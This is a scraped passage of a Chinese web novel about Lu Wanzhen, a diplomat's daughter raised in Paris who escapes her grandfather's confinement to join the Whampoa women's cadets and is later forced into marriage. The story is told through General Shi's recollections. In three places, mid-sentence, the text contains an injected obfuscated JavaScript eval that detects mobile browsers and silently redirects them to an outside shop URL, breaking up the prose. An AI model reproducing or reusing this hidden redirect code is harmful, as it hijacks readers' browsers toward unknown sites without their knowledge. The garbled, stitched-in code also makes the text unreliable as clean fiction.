“不知道。”石将军有点不耐烦了,“要是知道我还找什么?美国,英国,法国,我都打算去一趟呢,反正我时间有的是,慢慢找嘛。” 所以您老就在港口扒上一艘国际渡轮,打算浪迹天涯去是吧?张松鹤不禁一阵无语,难怪人力资源署不批准你出去,你这一出门,跟在外面流浪有啥区别?为了你的安全着想,人家也不能批! 他决定换个话题:“您要找的人是谁呢?” 石将军的脸色突然变了,良久,他脸上展开一个温柔的笑意:“她是世界上最好的人。” 前去投胎,要走过多少路? 先过枉死城,再上孽镜台,跨过奈何桥,饮下孟婆汤……如此才能遗忘前尘往事,以无知无觉之身跳入轮回之井,像是完全重置了系统的手机一样,一清二白,再世为人。 几人到了六道轮回部,为了不被认出来,温尔雅这次穿了一身连帽衫,又戴上棒球帽、大墨镜,乍一看像个说唱歌手,好在祝平安一颗心都放在里奥身上,没注意到温尔雅怪异的打扮。 “这是我的鬼民证和投胎表。”里奥向窗口服务人员递上自己的证件。 “好的,确认无误,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他登上塞纳河上漂浮的水上餐厅,蒸汽游艇来来去去,给他送来香槟、华夫饼和冰淇淋。5000个灯泡照亮了整个会场,电力女神的雕塑高居电气馆之上,她的坐骑是骏马和龙。 六月,一个最繁忙的月份。 英法美德等八国对义和团的“扶清灭洋”运动已经忍无可忍,天津,六百士兵直入租界;俄国海参崴,四千士兵登船待发;英、俄、德、法、美、日、意、奥八国联军共二千人突入北京,七日后,天津大沽口陷落,慈禧太后向八国宣战。 八月,北京城陷落,数十万民众惨遭屠戮抢掠。大清的黄底龙旗坠落尘埃,太后与光绪帝仓皇西逃,一路衣被不周,食秸秆充饥渴,太后颁布懿旨,将义和运动变为议和。 十一月,巴黎世博会闭幕,陆泓信收到了闭幕礼物——一份用心形铝箔纸包装的瑞士莲巧克力。 同月,他开始给妻子腹中的孩子起名,在连续生了三个女儿之后,他认定这是个男孩,便先准备下四个名字:陆定疆、陆光华、陆靖平、陆征夷。 十二月,八国提出《议和大纲》,提出各国驻军北京、削平大沽炮台、不得仇视外国等事务,大清同意。 同日,妻子生产,他准备的四个名字一个都没用上,在婉静、婉蓉、婉仪三个女儿之后,他得到了第四个女儿,取名陆婉珍。 转过年,陆婉珍满了月,大清正式在《议和大纲》上签了字。 65.一生所爱(上) 陆婉珍从小就觉得她爹娘有心事。 娘的心事很好懂,娘每天都发愁她要穿什么戴什么,怎么多抄点经,怎么生出个儿子。 每次爹不回来睡,娘就会自个儿坐在桃花心木的梳妆台前,在高级公使住宅里的明亮电灯下捡佛豆,捡一个,就念一声阿弥陀佛。 娘已经32岁了,生育的黄金年龄已经过去,她在祈求一个儿子。 而爹的心事就不那么好懂了。 爹是个很厉害的人,陆婉珍知道。她喝咖啡,吃黄油吐司,上马桶,用浴缸洗澡,睡羽绒床垫,三个家庭教师和五个女仆整天围着她转,穿的软缎拖鞋一双就值得十两银子。 她在院子里骑小马,在大戏院的包厢里看戏,穿着手工定制的绣花礼服,坐着标致牌小汽车,跟爹一块逛香榭丽舍大街,有时候也去爱丽舍宫和枫丹白露参加酒会。 爹在那里,跟许多男男女女端着香槟谈笑风生,带着领结的仆人会称呼她Mademoiselle(小姐),为她端上蒙布朗蛋糕和洒满糖霜的马卡龙。这些生活不是人人都能过的上的,她能拥有,只是因为她是爹的女儿。 但是爹不开心。 爹发现娘在捡佛豆的时候不开心,坐小汽车的时候不开心,看戏的时候不开心,每次去过酒会,爹的不开心就会达到一个峰值。 可她不知道爹为什么不开心。 有一天,娘在收拾爹的新衣服,她跟着忙里忙外地捣乱,把裁缝给爹做的礼帽戴在头上,爹看了哈哈大笑,还吩咐裁缝给她也做一身小西服配礼帽。所以她就想,也许爹跟娘一样,都是想要个儿子? 从那以后,她开始穿裤子,戴礼帽,还把头发都剪短,十足十就是一个男孩。她还跟爹闹着要学击剑、射击、拳术,爹果然很高兴,一一满足了她不说,从此对她更是另眼相看。 她成了爹最宠爱的孩子,他把她带在身边,亲自教养,检查她的每一份功课,教她说外语,当他会客的时候,就把她抱在膝盖上,让她给自己点雪茄,还给她起了个法国名字,叫做里奥。 爹兴致来了会写几个大字,每当这个时候,他就会叫婉珍在旁边磨墨。爹写:“男儿不带吴钩,收取关山五十州”“愿将腰下剑,直为斩楼兰。”“宁为百夫长,不做一书生。”…… 然后,爹就会端着一杯清茶,品一口,叹两声,然后把她搂在怀里,一个字一个字地念给她听,并且告诉她这诗里的意思。 陆婉珍想,她可能有点明白,爹为什么不开心了。 一年一年过去,陆婉珍始终是家里最小的孩子,娘也不再捡佛豆了,娘把自己的房间改成了庵堂,那里常年飘着线香的气味,每次陆婉珍过去给娘请安时,都看见她在一片烟火缭绕里直挺挺地跪着,两个眼睛永不抬起来,那是一种标准的赎罪姿势。 没有传下陆家的香火,就是她的罪。 陆婉珍的身高也开始拔高,爹在她身上花费的精力没有白费,十二岁的陆婉珍,已经显示出了与众不同的天赋。 她聪明过人,进退有度,会说英语、法语、德语、拉丁语和西班牙语,常年的体育锻炼让她的身高猛窜,已经长到了父亲肩头的位置。无论从哪个角度看,她跟她三个拱肩缩背、沉默温顺的姐姐已经不是同一个物种。 她开始偷偷出门,她家看门的人里有个男孩,是她母亲陪嫁丫头的儿子,可惜他爹娘命不好,陆陆续续都病没了。母亲初时养着他,打算让他给未来的小少爷做贴身的小厮,名字也没给取,只有个乳名叫石狗儿。 后来,母亲绝了生育的想望,他就被打发出去看大门,大家就狗儿狗儿的叫着,叫到他十四岁。 石狗儿羞羞怯怯的,面目清秀,一双眼睛像小鹿一样圆溜溜的。她央求了他两次,又许诺会带好吃好玩的东西回来,软磨硬泡之下,终于把他哄得开了门。 她穿了夹克,戴着鸭舌帽上街去,活脱脱就是街头卖报纸的小子,骑着自行车混在巴黎的人群里,没有人会多扫她一眼。 她尤其爱去塞纳河畔的咖啡馆,在那里点上一杯咖啡,饶有兴味地听着那些社会活动家的高论,什么平等、人权、反殖民、罢工、资本主义的,有的她能听懂,有的她听不懂,就记在心里,回去问爹。 如此几次,她偷跑出门的事情就露馅了,爹气得不得了,但不是气她偷跑出门,而是气她自己悄悄出去,怕她遇上不测。后来,她每天都可以光明正大的出门了,只是必须带上一个男仆跟着去——狗儿。 审讯室,张松鹤给石将军斟上第二杯茶。 “……四小姐对我很好。”石将军的话匣子打开就停不下来,“说来惭愧,我那时候只是他家里的一个下人,但她从来不喊我狗儿,她给我起了一个名字,石志坚。她说世界上所有的人都有人权,不被人叫狗儿就是最基础的人权。” “一出门,她买什么,就给我也买什么,冰淇淋、咖啡、金黄的可颂和浓浓的里昂肉冻……后来,四小姐还拿零花钱给我买了一辆自行车,老爷不同意,她据理力争,说我有了自行车,她出门时才不用停下来等我。” “四小姐聪明极了,她也会在咖啡馆里跟那些洋人讨论,还让我把他们说的话给记下来。我说我不会写字,她又教我写字,法国字,中国字,统统都教了一遍,还把她看过的书拿给我看。” 石将军脸上露出一个既温柔的笑意:“那时候,我整天都像是飘在云里,觉得自己交了想也不敢想的好运,能服侍这么聪明、这么能干、这么善良的小姐。但四小姐不高兴,因为我始终不肯叫她的名字,只肯叫她四小姐,哪怕老爷太太不知道的时候,我也一样这么做。” “那您为什么不叫她的名字呢?” “我哪里敢呢?我那时候只是她家里一个看门的奴才。四小姐待我好,但我不敢做任何僭越的事情,怕放肆惯了,以后改不回去了。我比她大几岁,知道老爷不能在法国呆一辈子,早晚是要回去的。四小姐的日子能过的这么舒畅,是因为这毕竟是外国,将来她就知道了,法国公使小姐过的日子,跟中国官家小姐过的日子,可完全不是一回事呀……” 1912年,清帝逊位,华夏改元为中华民国,清廷所有外交关系一律废止。 陆婉珍告别了法国,跟随父亲踏上了归国的航船,回到广东老家去。船行三月,来到珠江码头时正是五月中旬,天气已经暑热蒸人,码头的劳工们搬货搬得大汗淋漓。 陆婉珍见到的第一个祖国同胞,就是码头上的苦力。他们黑黑的,瘦瘦的,干瘪的胸脯下是成排的肋骨,胯骨在一层皮下面突出来,有不少人连一条裤子都没有,说起像人,不如说八分像鬼,两分像猴。 几百斤的大包扛在他们细瘦的肩头,压得他们一晃一晃,没有人吭一声,在监工们的鞭子下,他们排成一排,沉默地走。 祖父已经打发了不少家仆来接她们,当着老仆的面,爹破天荒第一次,拒绝了陆婉珍要跟他一块骑马回去的要求。 “这不是法国了。”爹是这样讲的。 那天,她是坐着一乘密不透风的小轿子回去的,跟她同乘一轿的还有她三姐。轿子里又闷又热,她几次想要掀开轿帘透透气,却愕然发现,轿帘已经被线缝死了。 这乘小轿子就这样把她抬进了家门,当家的人也不是爹了,而是素未谋面的祖父。 高高的屋梁下,她和三个姐姐站成一排,给祖父磕头请安,三个姐姐驯顺地跪下,她却下意识地行了一个单膝跪地礼,还是爹一声咳嗽,她才反应过来,双膝落地。 祖父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906088|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眯着眼睛,都看在眼里,当下冷笑一声,也不回应,也不叫起,悠悠然背着手,走回后屋睡午觉去了,直到华灯初上,才有老嬷嬷来传话,叫三个姐姐不必跪了。 爹满脸心疼,去找祖父求情。 “香灯无继,又失官职,现下为了丫头片子,敢这样忤逆老父!” 她清楚地听见祖父的呵斥,片刻后,爹退出来,跟她一块跪在堂屋地下。 那天晚上,她累的实在跪不住,爹搂着她,让她能倒在自己身上稍微睡会,一遍又一遍地在她耳边说:“这不是法国了,祖父是有意磨一磨你的性子,从今后,你要多向姐姐学学。” 向姐姐学习?跟她们一样,整天像个鹌鹑一样缩着脖子,烧香,抄经书,绣花,纳鞋底子? 那就不是她陆婉珍了。 她仍像以前一样,每天起来就打拳、练剑,没有场地给她骑马,她就在自己的小院子里绕着圈跑步。日复一日,从不间断。 祖父对这个桀骜的孙女儿反而犯难了,他差人来宣讲《女则》、《女诫》,陆婉珍当面听着,转过头来全当耳旁风。让她跪祠堂,她跪不住了就直接躺在当地睡觉,广东天气暑热,睡一夜地板权当解暑。老妈子要打她手板,怎及她灵活强壮,三个仆妇抓不住她一个。 陆婉珍想得很简单:只要你不敢杀了我,那你其实也不能把我怎么样。 唯一让她心疼的,是她每次惹怒祖父,爹都会陪着她吃挂落。 但父亲不在乎,有一次,祖父以“教女不严”对爹动了板子,让她在旁边看,爹一头挨打,一头还悄悄在祖父看不见的地方,对着她笑。 她心里明白,她做了爹不敢做的事情,对于这样一个家,爹也未必多喜欢。 祖孙三代几番拉扯,祖父的权威被一再侵犯,所有手段都试过了,没有一样有用,祖父气的指着她鼻子大骂:“你到底是要怎么样!” 陆婉珍昂着脖子:“我不想怎么样,我只要求跟以前一样。念书、上街、习武,不用跪来跪去,不用听人摆布。不仅我是如此,我要中华大地,每个人亦当如此!” 她目光炯炯地盯着那鸡皮秃头的祖父,他惊得眼珠瞪得老大,眼皮上的层层叠叠的褶子都撑开了:“列强入侵,国难当头,火焚圆明园,舰沉威海卫,《天津条约》、《马关条约》、《辛丑条约》,咱们被人摆布的还不够吗?大清已亡了,大大小小的地也都丢了,祖父却只知道在家作老封君!既要子孙服膺你,就要拿出个让人钦佩的样子出来,以振兴中华为我陆家之家训,只拿孝亲二字教子教孙,岂不可笑!” 娘在一边扑上来就要捂她的嘴,陆婉珍一闪身错开,话说到这里,她索性说个痛快:“祖父嫌我在家碍眼,何不打发了我?我愿从军入伍,身带吴钩,收复关山,纵然马踏残驱,也不枉生为人身一场,强过钻在这密不透风的小屋子里,蹉跎光阴,计日等死!” 祖父被她的话刺的勃然大怒:“荒谬!满嘴里说的都是些什么!女子从军?我看你是发疯了!来人啊,把这个疯子给我关在她的院子里,免得丢尽了我们陆家的脸!” 她并不意外这个结果,不等人来押,她便冷笑三声,自顾自地离去。 父亲为她求情,毫无疑问又吃了一顿板子。这里不是法国,这里没有平等也没有人权,只有一个孝字大过天。 身边的仆人都被撤了,院墙也被加高到五米左右,院门上落着三把大锁,连爹娘都不能见她的面。一个哑巴女人一天给她送两顿饭,是通过门上的一个活动板子递进来的。祖父说她有疯病,为了陆家的清誉,一辈子都不会给她说亲。 祖父把不能嫁人视作一种惩罚。 她知道这件事的时候,一个人躲在被窝里笑了好久,笑的整个床帐都瑟瑟发抖。 66.一生所爱(中) 接下来的几年里,她很庆幸自己有石志坚这么一个朋友。 他已经算是个成年男子,可以出去跑腿儿办事儿,作为一个懂得外国话的家仆,他在家里的地位水涨船高,甚至还管起了家里跟外国人的买卖。 院子里有个狗洞,她总是能在狗洞旁边,发现一些生活用品。有时候是几斤烧火用的煤炭,有时候是肥皂、鞋子、笔墨和月事带……都是她急需的,而祖父和父亲都想不起来给她的生活物资。 在一切东西里,她最喜欢的是外国的书籍报刊,她看完了,就会在书上做些法语批注,又放回狗洞里。隔天,她就能在上面看到另一行法文批注,字母粗粗大大的,一看就是男人的手笔。 除了父亲外,家里懂得法文的男人只有一个。 除了书籍,他还给她用法文写信,信上写着他今天的生活,看到了什么,做了什么,有什么新鲜好玩的事情。跑到广东做生意的洋人、游行的学生,还有悄然滋长的民主风潮…… 有一回,她甚至还在狗洞里找到了一盒巧克力糖,糖果上打了一个笨拙的缎带,贺卡上写着Joyeux anniversaire(生日快乐)。 她捻起一块放进嘴里,醇厚的巧克力中间夹着香脆的榛子仁,非常的甜。 离开法国后,她已经有四年没见过巧克力了。 在他的信件里,她能敏锐的感觉到,他也在变。 起初,她在书本上留下的批注多,他留的少,即使留了,也只是单纯的写一些:“这句说得好痛快”,或者“我觉得这样不对”的话。渐渐地,他抒发的评论多了,还经常举自己在生活中见到的实例,为书中的理论提供现实支撑。 再后来,他跟她的思考几乎同频了,他总能对事物提出一些更加实际的观点……一种陆婉珍完全想象不到的视角,也许那跟他的出身有关? 他们的交流由她的独舞,变成了她在领舞,最终变成了双人探戈。 他们的舞步默契十足,火花四射,每一次的书信交流,都像是一场酣畅淋漓的交锋,一种旗鼓相当的切磋,他们的思想交织在一起,在时间的打磨中变得更加锋锐。 十几年里,他们没有见面,但那些塞在她院子里面的书籍和批注,像是一面镜子,清晰地反照着两个人的心。他们无话不谈,从理想的生活,再到对事物的观点,甚至还有对天下大事的思考…… 1926年,陆婉珍已经虚岁27岁,在那时候的眼光来看,是个不折不扣的老姑娘了。 大姐已经出嫁十几年,抱上了第一个孙子;二姐也出嫁十年,养下来三个孩子;三姐已经做了三年的寡妇,只有她还住在这个小院子里,每天雷打不动地跑步、练拳、用根晾衣杆来击剑。 旁人看来,她是寂寞独守,蹉跎年华,但她自己知道,她的世界每天都是新的。 在这四四方方的一块天地里,石志坚就是一扇小小的窗子,他拼着被逐出门去、乱棍打死的风险,慷慨地为她送来一线天光。她透过他来探索整个世界:袁世凯复辟、新民主思潮、第一次世界大战、五四运动……。 他们的友谊在这样隐秘的鱼雁往还里,逐渐变成了另一种更加美丽而神圣的东西。他知道,她也知道。 那天,报纸上刊登了一条新闻:黄埔军校预计招收一批女学生。她把那条新闻圈起来,并在旁边写下了一句话:“Cher camarade, es-tu prêt à changer le monde avec moi ?”(亲爱的同志,你愿意跟我一起去改变世界吗?) 第二天,那张报纸不见了,她的院落里,出现了大堆深红的木棉花,浓艳地像是新娘的嫁衣。花朵排列的整整齐齐,拼出了一个法语单词: “Oui”(我愿意。) 她不是那些肩不能挑手不能提的大小姐,之前不走,只是全天下没有一个接纳女性的军队,她不知道要去往何处,现在有了投奔之处,一切都是那么顺理成章。 狗洞里出现了一个爪钩,她把自己十几年来逐渐长可垂地的头发剪下来,她的头发又厚又多,足能编成近三米的长绳。她一边编绳子,一边想起一个叫长发公主的童话故事,公主用她的长发垂下高塔,把王子拉进来。 她也要垂下她的长发了,不过她不打算迎来什么王子,而是要翻出这座囚禁她的高塔,去迎接崭新的生命。 有一天吃饭的时候,她发现盒子特别的重,她在食盒里发现了一个小夹层,里面是满满的银洋。 食盒不是传统的红漆木盒,而是蓝底珐琅彩盒子,上面绘着金色鸢尾花纹。鸢尾花素来为法兰西所钟爱,那里的人民说,那花朵象征着光明与自由。 是爹。 当天夜里,当更鼓打到三更天的时候,她背起几件衣服和那一盒子银洋,把爪钩绑在长发编成的绳子上,扔上了墙头。 随后,她深吸一口气,助跑两步,一跃而起,抓住了长绳的尾巴。她一直坚持锻炼,有了绳子跟勾爪的帮助,爬上五米的高墙不是难事。 夜阑人静,群星皎洁,她站在墙头上,带着父亲的祝福,毫不留恋地轻轻一跃,落入了石志坚期待已久的怀抱。 陆家,再见。 石将军的故事已经说了半个小时,当他说到二人是怎么在陆泓信老爷的帮助下逃出陆家时,眼睛都忍不住亮起来: “十三年了,我只见到她的字,没见过她的人,再次见面,她……她模样一点也没变,短头发,高个子,跟十三年前一模一样。但我的变化就大啦,她第一眼见我,都认不出我了,脱口就问:你是谁呀?问完了才反应过来,不好意思的笑了……” “时间紧迫,我们没时间多说什么,陆老爷为我们争取的时间只有半个时辰,她穿上男装,装作是府里倒夜香的小厮,趁着天亮前混出了门去。我们从珠江上船,到了上海码头,又从上海坐火车到武汉,辗转两个月,总算赶在招生截止前一天报了名。” “来参加考试的人真多呀,最小的考生才十四五岁,年纪大的拖着三个孩子,还有些缠着小脚。好些人跟我们一样,是离家私逃的。个个都是风华正茂,挥斥方遒,四小姐一辈子都没见过这么多跟她一样的女青年,大家很快就打成一片……” “即使在这么多女青年里,四小姐也是最出挑的,五六千个人来考试,学校就收一百个女学生,考试一发榜,她考了前十名,体能方面的分数尤其高。我就比她笨的多了,不过男学生招的多,我也勉强考进去了,从此跟四小姐一块做了同学。” “四小姐考上军校,轰动了江城,陆老太爷在报纸上看到这个消息,气急败坏地写信来,骂四小姐没有廉耻、败坏门风,让他从此见不得人。四小姐接了信,就回了一句话:有什么见不得人?我就是要革你们这种人的命!” “老太爷收到信,听说气的大病一场,三天后就咽了气,没等四小姐去革他的命,他自己就撑不下去了,倒便宜了他。他一死,陆老爷上头没了人压制,立刻跟小姐恢复了联系……” 1927年2月12日,黄埔军校女子队开学。 那是陆婉珍有生以来最开心的日子。 早起,整理内务,出操。然后是早饭,上午学军事理论,下午实战演练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906089|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,学搏击技和射击。她的体能在一众女生里是最好的,教官说她能跟男学生媲美,至于射击技巧,有赖于小时候在法国打下的底子,她也在学生中名列前茅。 比起从小练大的击剑,她更喜欢射击,正是因为洋人懂得使枪,才能骑在中国人头上,这个道理,没人比她更懂。枪炮是极致的力量与美,她相信,自己若能掌控它,就能够主宰自己的命运,乃至改变全世界。 所以她一刻也舍不得放开枪,下课后主动加练,恨不能一天到晚都泡在打靶场。 每当这时,他就会悄悄走到她身边,给她倒茶水、递子弹匣,当她肩膀酸的时候,给她贴上膏药,一如当年他还是石狗儿时,一样的贴心。 生活费是不用愁的,祖父死后,爹已经跟她恢复了联系,虽说家里的生意不太好,但爹总是按月寄钱来给她花销。 三月的江城,草长莺飞,如古画般秀丽,有空闲的时候,她会拉着他,在武汉四处闲逛,黄鹤楼和晴川阁都已毁于炮火,她带着他一一去凭吊古迹:“总有一日,这些名胜都会重建起来,就像是岳阳楼一样,只要政通人和,自当百废俱兴,到那时,咱们一块再来看。” 她总是这么说着,拉着他,漫步在武汉的大街小巷。鹦鹉洲、黎黄陂、粮道街……他们的足迹和梦想遍布了整个武汉。直到夜深,两人才会在户部巷要一碗炒豆丝加米酒冲蛋,吃罢了宵夜回到宿舍,迎接新的一天。 这样美好的生活,只持续了不到三个月,短暂地像是一个早早凋谢的春天。 1927年4月,上海爆发四一二□□政变。两党关系破裂,黄埔军校作为两党合作的产物,地位一时变得微妙起来,这其中尤以女子队处境最为尴尬——决定主办女生队的教官,多数为在野党。 1927年5月,宜昌兵变,黄埔军校武汉分校全体队员被编为中央独立师,女子队跟男学员一起奔赴前线,她们救护伤员、宣传政策、杀敌作战,个个不输须眉。陆婉珍作战勇敢,第一战便毙敌七人,被提升为班长。 1927年6月底,在中央独立师的英勇奋战下,宜昌兵变被成功镇压,黄埔军校男学生随军团转战别地,女子队则班师回校。军令如山,没有时间依依惜别,夕阳下,石志坚站在队伍里目送着陆婉珍坐上了回程的轮渡,只能轻轻地对她挥了挥手。 挥手自兹去,萧萧班马鸣。轮渡开动,汽笛鸣响,谁知一别,竟是永久。回程路上,女学员乘坐的轮渡突然沉没,一半女生罹难。毕竟,主张她们入伍的人,是在野党。 1927年7月,武汉局势恶化,武汉政府步上□□后尘,将在野党指为匪类。同月,黄埔军校女生队被迫解散。 陆婉珍只收到一张薄薄的毕业证,上面证明了她是黄埔军校的第六期毕业生,除此之外,还有五块银洋。 没有任何一家部队接收她们,想要留在军队里,只有一条路:加入独立团,撤离武汉,从此后成为“匪”,变成当局围剿的对象,有朝一日,甚至可能与石志坚刀兵相见。 怎么办?怎么办? 那是她一生中最惨烈的战争,敌手就是她自己。一方面,她想要留在军队中,永不放下那柄钢枪;另一方面,她从没有想过自己会成为“匪”。陆家在广东是有名有号的家族,她若成了“匪”,爹怎么办? 她给石志坚写信,但毫无回应。他的队伍今天在江西,明天在贵州,她的信像只没头苍蝇一样来回乱撞,最终都隐没在战火之中,没有一封到他手上。 就在她心慌意乱的时候,一封电报奠定了她的败局,那是娘发来的电报,只有四个字:“父病速归” 67.一生所爱(下) 在无比胶着的战场,没有支援,没有目标,没有盟军。石志坚不知人在何处,甚至不知是生是死,这封电报像是一辆坦克,把她的防线碾压粉碎。天平倾斜,她知道,一切都完了,这场战斗,自己已经一败涂地,没有任何反抗之力。 再没有任何可说的,她匆匆打好包裹,缴了枪,回到广东原籍。同学们知道,她是因父亲病重才回去的,没有任何人指责她,可她无比清晰地知道,自己是个逃兵。 逃兵。 从那一天之后,整整一年,日子成了噩梦,冗长的、醒不过来的,令人闻之欲呕的噩梦。 爹躺在病榻上,已经人事不知,三个姐姐回来侍疾,围着爹掉泪。爹的脸色蜡黄蜡黄,他的身子已经瘦的不堪,既不能把她抱在膝盖上写大字,也不能对着她笑了。 娘拭着眼泪:“年前,你爹身体就不大好,请了大夫来看,说他是心脏有问题,要到境外去做手术。他总说,这里的一摊子事情不能丢下,何况生意艰难,他必须撑住。结果到了五月里打起仗来,局势一落千丈,政府说你爹有资助匪类的嫌疑,又把你爹的经营许可禁了,他气的晕过去,这就……这就再也没起来……” 娘说到这里,终于忍不住拽着她的袖子嚎啕大哭:“他一倒下,我去查账,这才知道账面一点现金都没了,现在外头还有好几家债主,都催着咱们要债!” “我早就要叫你回来,你爹说,你在外面忙的是大事,不肯让我打扰你。但他一天重似一天,要债的人也越催越紧,政府的人也见天跟我们为难,说不准什么时候,就要找个罪名把我们一家都抓起来!你让我怎么办!我只是个妇道人家,你让我怎么办才好哇!” 娘的眼泪鼻涕流了一脸,像个泼妇,可在那眼泪下面,又有一种怯怯地东西。她感觉到,娘在打量她,娘一定是有话,却又不敢说。 事已至此,娘还有什么是不敢说的? 当天夜里,三姐跟她一块给爹陪夜,七月的广东闷热不堪,蚊香袅袅地浸透纱帐子,留下一股子古怪的药味和烟熏气,中人欲呕。 爹昏迷不醒,胸口微微起伏,只剩下一□□气,三姐给爹打着扇子,终于半吞半吐地把娘不敢说的话给说了出来: “广东有家洋行的徐董事,生意做的很大,在海外也有关系。要是能求动他,爹就能到境外去做手术……” “哪位董事?”她急急的问出他的地址,第二天便带着母亲,亲自上门去了。 那是个四十几岁左右的男子,只比爹年龄小一点,偏还爱俏地梳了个大背头,显得脑壳圆滚滚地像个椰子。一身西服笔挺,手绢在胸前的口袋折成花型,看得出是想要模仿西洋风尚,可惜他比陆婉珍还矮半个头,这副打扮只是显的他又矮又胖而已。 两边一碰面,陆婉珍立即感觉到,母亲似乎是跟他早有默契的。徐董事不问她父亲的病,不问她是为什么而来,反而对她的从军生涯特别感兴趣,谈话一小时里,四十分钟都是在说这个。 他的目光像条小蛇,在她的短发和小麦色的脸颊上划过来划过去,让她起了一身鸡皮疙瘩。 他不像是在看一个人,更像是在品鉴物品,好像她是印度的象牙雕像,南非的天然钻石,或者越南的手工银器,是一种别有风情又能彰显身份的装饰,让他渴望占有。 会谈结束,他什么都没答应,只是笑吟吟地送客。临出门的时候,她敏感地发现,他向她娘递了个满意的眼神。 当晚,三姐拿给她一封信,信是徐董事写来的,里面用优美流畅的骈文写了一大堆,最终翻译过来就一句话: 他想娶陆婉珍为继室,为此,他愿意付一大笔聘礼,足以填平他们家所有的债务,且愿意为陆家所有人办理留洋的手续,让父母跟三个姐姐一家都出国,避开战火。 她把那封信撕得粉碎,闯进父母的卧室,抓着母亲的领子,一把就把闭着眼念佛的母亲提了起来:“你是故意的,是不是?你跟徐董事早就说好了,什么让我登门去求,你分明就是让他来相看我!” 母亲起初惊惶地在她手上扑腾,听了她的话,忽然勃然大怒,啪地一个耳光掴在她脸上,倒把她给打愣了:“是我让他来相看你,怎么样!难道你还能给我找出别的路走!” “陆婉珍,你这没有良心的小白眼狼,我白养了你,你爹白养了你!” “四个女儿里,你爹最疼的就是你,你从小到大,吃穿住行,样样都比姐姐们强,不是你爹宠纵着你,给你请师傅、让你出门去耍,你有今天?等回了老家,你忤逆祖父,你爹为了你,捱了多少板子,跪了几次祠堂,你自己心里比我有数!” “到后来,你把祖父气死了,是谁在替你受过?还不是你爹!你在外面倒是舒心快活,你想过我们在家过的是什么日子吗?我都不敢想那时候是怎么捱过来的,所有的亲戚朋友都说我们家不孝、白眼狼,我跟你姐姐们在亲戚里抬不起头来,人人指着你爹的鼻子骂!” “到现在,咱们家遇了难,我去向族亲们借钱,没一个肯伸手,还不都是因为你,把亲戚们都得罪干净了!现在谁肯救我们?你说我不该让徐董事相看你,要我说,你是活该!这都是你造的孽,你就得给我担起来!” “你应该庆幸,徐董事还能看得上你,要不然,养你这个孽障有什么用!除了给家里惹麻烦,你说,你对家里有什么好处!” 娘又说又哭,又叫又骂,搂着爹的脖子,伤心泣道:“老爷!老爷!我是个没福气的人,养不出孝顺儿女,那也是我的命!可你人这么好,怎么也有这样狼心狗肺的女儿呀!你把心都掏出来给了死丫头,可她今天眼睁睁瞧着你送命,一点都不心疼啊!” 陆婉珍脸上顶着巴掌印,瞧着娘在那里哭的死去活来,一时间竟不知道自己身在何处。 娘哭够了,又拉着她的手,不顾她的阻拦,扑腾一声跪在地上:“孩子啊,我求你了,你不看在我跟你姐姐们的份上,就看在你爹的份上,答应了吧!” “徐董事娶你,虽然是做继室,但他前头太太只养了几个丫头,他家里拘束姨太太也很严格,你一过门,生下孩子,没人敢越过你去!他家的千万家财,将来都是你跟你孩子的!” “徐董事家里,我都打听过的,他门第好,人和气,又有钱,家里又没有婆婆,年龄是略大些,但大点会疼人。你这个年纪,正正经经的说亲,顶天也不过是这样的人家,娘有一个字骗你,立刻天打雷劈!” 不知不觉,她跪在母亲面前,被她搂在怀里。母亲捧起她的脸,无比诚恳地盯着她的眼睛:“孩子,娘不是要你卖身救父,徐家不是刀山火海,你是娘身上掉下来的肉,娘不会骗你害你的!” 娘擦掉脸上的泪水,说出了一句彻底击溃她的话:“徐董事本人很中意你,你考上军校的时候,他还夸你是个巾帼英雄,连登着你相片的报纸他都收藏了起来。你爹没病之前,他就向我们提了这个意思,可见对你是有真心的……你跟了他,不吃亏,孩子,你就答应了吧!” 那天夜里,她给石志坚写了一封很长很长的信,却茫然不知寄往何处,最终只能烧掉。 自武汉归来,她与他彻底断绝音讯,连队伍调动到哪里都不知道了。 但爹的病不能再拖了。 三天后,大笔银洋进了陆家的账户,五天后,爹被抬上了前往香港的轮渡,三个家庭医生随着他一路照料,母亲和姐姐们也匆匆收好包裹,随之而去。七天后,一乘密不透风的红轿子,将她抬进了徐家大门。 新婚之夜是这些噩梦中最可怕的一个。 她的盖头被掀开,触目所见的不是龙凤红烛,而是许多奇珍异宝。 徐董事似乎对收集世界各地的珍玩别有兴趣,英国的骨瓷茶杯,法国的油画,日本的和服……整个屋子与其说是婚房,倒更像是一个大展厅。她一身红妆,端坐在房间中心的千工拨步床上,成了整个库房里最大件的展品。 她的丈夫打量着她,似乎有些微微的不满意:“太太,这身大红婚服不衬你,你还是把脸洗洗,穿我给你准备的这套衣服吧。” 一套灰蓝色的军装被递到了她面前,军帽、领花、肩章、腰带、绑腿整整齐齐,那是她曾经穿上又脱下来的军服,如果再有一支枪,她就又成了那个班长陆婉珍了。 